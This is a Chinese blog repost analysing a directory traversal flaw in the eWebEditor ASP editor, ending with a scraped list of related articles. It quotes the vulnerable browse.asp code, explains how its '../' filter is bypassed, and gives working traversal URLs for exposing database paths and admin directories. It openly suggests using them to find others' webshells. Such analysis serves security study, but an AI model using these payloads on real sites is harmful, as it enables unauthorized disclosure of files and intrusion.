这里大概说一下!目录遍历漏洞基本存在于ewebeditor/admin_uploadfile.asp 高版本的是ewebeditor/admin/upload.asp 文件!这个文件有的不需要登陆验证,有些需要!很多有经验的管理员会把编辑器的目录设置为只读权限,不可修改!这种情况下,唯一可以利用的也就是利用遍历 目录功能查看网站文件,比如数据库路径、后台地址、其他的上传地址、最直观的就是别人留下的小马等等!这些都自由发挥了!说下漏洞利用方法!       漏洞利用方式如下:在上传文件管理页面 随便选择一个上传样式!比如ewebeditor/admin_uploadfile.asp?id=14 在id后面添加&dir=../..
类似如下:webeditor/admin_uploadfile.asp?id=14&dir=../../../../data/ 可以看到网站数据库的路径!
      另外一个遍历目录的漏洞文件是 ewebeditor/asp/browse.asp
漏洞代码为 :
Function GetList()
Dim s_List, s_Url
s_List = “”
Dim oFSO, oUploadFolder, oUploadFiles, oUploadFile, sFileName
‘Response.Write sCurrDir
‘On Error Resume Next
Set oFSO = Server.CreateObject(“Scripting.FileSystemObject”)
Set oUploadFolder = oFSO.GetFolder(Server.MapPath(sCurrDir))
‘注意一下sCurrDir变量,这个值等下我们可以用到
If Err.Number>0 Then
s_List = “”
Exit Function
End If
If sDir <> “” Then
If InstrRev(sDir, “/”) > 1 Then
s_Url= Left(sDir, InstrRev(sDir, “/”) – 1)
Else
s_Url = “”
End If
s_List = s_List & “” & _
“” & _
“..” & _
” ” & _
“”
End If
‘Response.Write sDir&”!”&s_List
Dim oSubFolder
For Each oSubFolder In oUploadFolder.SubFolders
‘Response.Write oUploadFolder.SubFolders
If sDir = “” Then
s_Url = oSubFolder.Name
Else
s_Url = sDir & “/” & oSubFolder.Name
End If
s_List = s_List & “” & _
“” & _
“” & oSubFolder.Name & “” & _
” ” & _
“”
Next
‘Response.Write s_List
Set oUploadFiles = oUploadFolder.Files
For Each oUploadFile In oUploadFiles
‘Response.Write oUploadFile.Name
sFileName = oUploadFile.Name
If CheckValidExt(sFileName) = True Then
‘这行让人有点郁闷,检测了所有允许的文件后缀,如不允许就无法列出,不然就不只列出目录名和图片文件了
If sDir = “” Then
s_Url = sContentPath & sFileName
Else
s_Url = sContentPath & sDir & “/” & sFileName
End If
s_List = s_List & “” & _
“” & FileName2Pic(sFileName) & “” & _
“” & sFileName & “” & _
“” & GetSizeUnit(oUploadFile.size) & “” & _
“”
End If
Next
Set oUploadFolder = Nothing
Set oUploadFiles = Nothing
‘Response.Write Server.HTMLEncode(s_List)&”!”&s_Url
If sDir = “” Then
s_Url = “”
‘s_Url = “/”
Else
s_Url = “/” & sDir & “”
‘s_Url = “/” & sDir & “/”
End If
s_List = s_List & “”
s_List = HTML2JS(s_List)
‘Response.Write Server.HTMLEncode(s_List)&”!”&s_Url
s_List = “parent.setDirList(“”" & s_List & “”", “”" & s_Url & “”")”
GetList = s_List
End Function
‘如果没有下面这步检测的话,应该就可以列出目录中所有的文件了,有点郁闷..现在只能列出允许后缀的文件和目录名
Function CheckValidExt(s_FileName)
If sAllowExt = “” Then
CheckValidExt = True
Exit Function
End If
Dim i, aExt, sExt
sExt = LCase(Mid(s_FileName, InStrRev(s_FileName, “.”) + 1))
CheckValidExt = False
aExt = Split(LCase(sAllowExt), “|”)
For i = 0 To UBound(aExt)
If aExt(i) = sExt Then
CheckValidExt = True
Exit Function
End If
Next
End Function
‘我们顺着代码往下找,发现sCurrDir的值是通过下面的值得到的
Sub InitParam()
sType = UCase(Trim(Request.QueryString(“type”)))
sStyleName = Trim(Request.QueryString(“style”))
Dim i, aStyleConfig, bValidStyle
bValidStyle = False
For i = 1 To Ubound(aStyle)
aStyleConfig = Split(aStyle(i), “|||”)
If Lcase(sStyleName) = Lcase(aStyleConfig(0)) Then
bValidStyle = True
Exit For
End If
Next
If bValidStyle = False Then
OutScript(“alert(‘Invalid Style.’)”)
End If
sBaseUrl = aStyleConfig(19)
‘nAllowBrowse = CLng(aStyleConfig(43))
nAllowBrowse = 1
If nAllowBrowse <> 1 Then
OutScript(“alert(‘Do not allow browse!’)”)
End If
sUploadDir = aStyleConfig(3)
If Left(sUploadDir, 1) <> “/” Then
Select Case sType
Case “REMOTE”
sUploadDir = “../../” & sUploadDir & “Image/”
Case “FILE”
sUploadDir = “../../” & sUploadDir & “Other/”
Case “MEDIA”
sUploadDir = “../../” & sUploadDir & “Media/”
Case “FLASH”
sUploadDir = “../../” & sUploadDir & “Flash/”
Case Else
sUploadDir = “../../” & sUploadDir & “Image/”
End Select
End If
‘sUploadDir =sUploadDir &”/”
Select Case sBaseUrl
Case “0″
‘sContentPath = aStyleConfig(23)
Select Case sType
Case “REMOTE”
sContentPath = “../” & aStyleConfig(3) & “Image/”
Case “FILE”
sContentPath = “../” & aStyleConfig(3) & “Other/”
Case “MEDIA”
sContentPath = “../” & aStyleConfig(3) & “Media/”
Case “FLASH”
sContentPath = “../” & aStyleConfig(3) & “Flash/”
Case Else
sContentPath = “../” & aStyleConfig(3) & “Image/”
End Select
Case “1″
sContentPath = RelativePath2RootPath(sUploadDir)
Case “2″
sContentPath = RootPath2DomainPath(RelativePath2RootPath(sUploadDir))
End Select
Select Case sType
Case “REMOTE”
sAllowExt = aStyleConfig(10)
Case “FILE”
sAllowExt = aStyleConfig(6)
Case “MEDIA”
sAllowExt = aStyleConfig(9)
Case “FLASH”
sAllowExt = aStyleConfig(7)
Case Else
sAllowExt = aStyleConfig(8)
End Select
sCurrDir = sUploadDir ‘注意这里,这个是得到了配置的路径地址
sDir = Trim(Request(“dir”)) ‘得到dir变量
sDir = Replace(sDir, “\”, “/”) ‘对dir变量进行过滤
sDir = Replace(sDir, “../”, “”)
sDir = Replace(sDir, “./”, “”)
If sDir <> “” Then
If CheckValidDir(Server.Mappath(sUploadDir & sDir)) = True Then
sCurrDir = sUploadDir & sDir & “/”
‘重点就在这里了,看到没有,当sUploadDir & sDir存在的时候,sCurrDir就为sUploadDir & sDir的值了
‘虽然上面对sDir进行了过滤,不过我们完全可以跳过.具体利用下面的利用中给出
Else
sDir = “”
End If
End If
End Sub
利用方式如下:

http://site/ewebeditor/asp/browse.asp?style=standard650&dir=…././/…././/admin

这样子就可以看到admin的内容了。构造特殊的dir绕过上面的验证!页面空白的时候查看源代码,就可以看到目录列表了!

转载于:https://blog.51cto.com/obnus/471346

ewebeditor漏洞之目录遍历漏洞相关推荐

  1. web漏洞-SQL注入漏洞、目录遍历漏洞、文件下载漏洞

    这里用到的是Pikachu漏洞练习平台 一.SQL注入漏洞-数字型注入 SQL注入漏洞简介 在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库 ...

  2. 目录遍历漏洞:入侵检测php程序中的目录遍历漏洞,目录浏览(目录遍历)漏洞

    目录浏览(目录遍历)漏洞 来源:信管网 2019年08月26日 [所有评论] 目录浏览漏洞属于目录遍历漏洞的一种 目录浏览(目录遍历)漏洞 目录浏览漏洞是由于网站存在配置缺陷,导致网站目录可以被任意浏 ...

  3. Kali学习笔记31:目录遍历漏洞、文件包含漏洞

    文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 目录遍历漏洞: 应用程序如果有操作文件的功能,限制不严 ...

  4. Nginx漏洞修复之目录穿越(目录遍历)漏洞复现及修复

    Nginx漏洞修复之目录穿越[目录遍历]漏洞复现及修复 漏洞描述 漏洞复现 环境搭建 漏洞验证 漏洞修复 参考链接 漏洞描述 前言 Nginx是一个高性能的HTTP和反向代理服务器,经常被做为反向代理 ...

  5. 目录遍历漏洞 php 攻击,目录遍历漏洞

    0x001 漏洞简介 目录遍历(路径遍历)是由于web服务器或者web应用程序对用户输入的文件名称的安全性验证不足而导致的一种安全漏洞,使得攻击者通过利用一些特殊字符就可以绕过服务器的安全限制,访问任 ...

  6. nginx配置错误而导致目录遍历漏洞

    漏洞版本:nginx(Tested at 1.1.10) 漏洞描述:nginx是一款高性能的web服务器,使用非常广泛,其不仅经常被用作反向代理,也是一个 IMAP/POP3/SMTP 代理服务器. ...

  7. php act index漏洞,浅析PHP程序中的目录遍历漏洞

    这类漏洞主要是存在与基于PHP+TXT结构的程序中,漏洞代码也是来自于一个国外的BLOG,代码如下: $act=$_GET['act']:if($act==''){ include("blo ...

  8. HttpClient使用之下载远程服务器中的文件(注意目录遍历漏洞)

    参考文献: http://bbs.csdn.net/topics/390952011 http://blog.csdn.net/ljj_9/article/details/53306468 1.下载地 ...

  9. apache目录遍历漏洞利用_Apache漏洞—多后缀名解析、目录遍历和(CVE-2017-15715)

    文章目录 一.Apache httpd 多后缀解析漏洞 漏洞原理 漏洞复现 漏洞修复 二.Apache httpd 换行解析漏洞(CVE-2017-15715) 漏洞原理 漏洞复现 漏洞修复 三.Ap ...

最新文章

  1. 一文帮你了解小型直流有刷电机内部结构
  2. vc2010中开始执行不调试灰的_反编译动态调试smali全过程
  3. python创建空文本文件_Python干货:「文件处理整合」 创建、打开、写入和删除...
  4. Spring Cloud(6.1):搭建OAuth2 Authorization Server
  5. iOS之十三个小技巧帮你征服Xcode
  6. HTML与CSS基础之选择器优先级(十)
  7. php怎么和数据库通信,php – 如何处理域和数据库层之间的通信?
  8. php 跳转qq群代码_邪少xml论坛qqxml代码—QQ音乐可播放框架QQ群任意跳转个人网站链接引流...
  9. hdu 5631 Rikka with Graph(图)
  10. Kafka和其他消息队列
  11. 在MAC环境下之以太坊(ethereum)开发环境安装
  12. solrcloud和zookeeper的搭建、使用、心得、教训
  13. HTTP请求的过程和原理
  14. 【linux】使用U盘从linux拷贝文件到windows的一些坑
  15. python extract_convert.py对应代码解读抽取式提取+生成式提取摘要代码解读------摘要代码解读1
  16. CF802C Heidi and Library (hard) (网络流+最大流)
  17. 3GPP Release和Category简介
  18. MathType使用技巧之 改变字体大小
  19. 盖世神器PowerPro使用视频教程-1 程序的安装概述
  20. 5. Django templates模板 (一)

热门文章

  1. 大计基笔记(1)数学运算
  2. 动态模糊神经网络用于自学习
  3. 5.PS-快速选择和魔棒
  4. 【MySQL】MySQL中的表锁
  5. 关于光纤收发器的一些基本常识介绍
  6. R3Live系列学习(五)R3Live源码阅读
  7. Mysql视图和触发器
  8. Linux下查看当前文件大小
  9. PBRT-v2在windows下的配置与使用
  10. Water Research | 南科大夏雨组揭示Anammox菌群微米级空间异质性和保守互作